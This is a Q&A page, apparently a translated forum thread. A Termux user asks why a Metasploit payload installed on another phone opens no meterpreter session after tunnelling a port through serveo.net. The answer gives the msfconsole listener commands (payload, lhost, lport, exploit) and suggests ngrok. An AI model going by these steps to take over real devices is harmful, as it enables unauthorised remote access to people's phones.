android - 需要帮助确定在 metasploit 中使用哪些端口
问题描述
带有 termux 的设备:LG g8,android 9。使用我的手机数据而不是 Wi-Fi。
我已经使用 termux 在我的手机上安装了 metasploit,并且我在网上找到了有关如何使用 metasploit 的教程。教程中的第 1 步是端口转发。本教程使用命令“ssh -R 4564:localhost:4564 serveo.net”我尝试使用相同的端口但遇到了错误。我将端口 4564 替换为随机端口,端口 1122。“ssh -R 1122:localhost:1122 serveo.net”
这是端口的工作方式吗?如果不是,那么我应该为港口放什么?
我成功完成了本教程的其余部分,但是在我的另一部手机(连接到我的热点)上安装并打开有效负载后,meterpreter 没有弹出,也没有激活任何会话。我做错了什么,是端口吗?它只适用于root吗?
解决方案
在 metasploit (msfconsole) 你必须使用你的 localhost 和那个 port 。
set payload {payload}
set lhost 127.0.0.1
set lport 4564
exploit ```
use port that you forwarded
if it still not work you can use ngrok.
推荐阅读
- java - 将 Mockito 与 Java11 一起使用时出现异常
- powerbi - 无法在 POWER BI 中使用度量作为日期正确过滤
- r - 将列名传递给 R 中的 ggplot()
- excel - 我可以使用非连续行在 VBA 中创建数据透视缓存吗?
- c++ - 如何使用 IOUSBHostDevice / IOUSBHostInterface 的 deviceRequest?
- powershell - 将 CSV 列与另一个 CSV 文件列进行比较(仅限标题)
- google-cloud-platform - 云函数查询BQ失败
- entity-framework - 在多 sdk .net 核心上无法识别 Dotnet EF
- wpf - 仅增长的 GridSplitter
- javascript - Spotfire 复选框过滤器项目计数